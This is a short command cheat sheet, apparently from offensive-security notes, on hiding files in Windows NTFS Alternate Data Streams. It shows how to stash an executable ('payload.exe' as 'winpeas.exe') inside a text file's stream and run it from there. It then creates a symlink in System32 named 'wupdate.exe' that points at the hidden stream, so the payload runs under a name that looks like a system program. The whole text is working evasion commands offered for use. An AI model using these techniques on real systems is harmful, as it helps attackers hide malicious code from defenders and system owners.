Hiding Files via Alternate Data Streams

Stash an executable inside an ADS

type payload.exe > windowslog.txt:winpeas.exe
start windowslog.txt:winpeas.exe

Symlink trick to launch from System32

cd C:\Windows\System32
mklink wupdate.exe C:\Temp\windowslog.txt:winpeas.exe
wupdate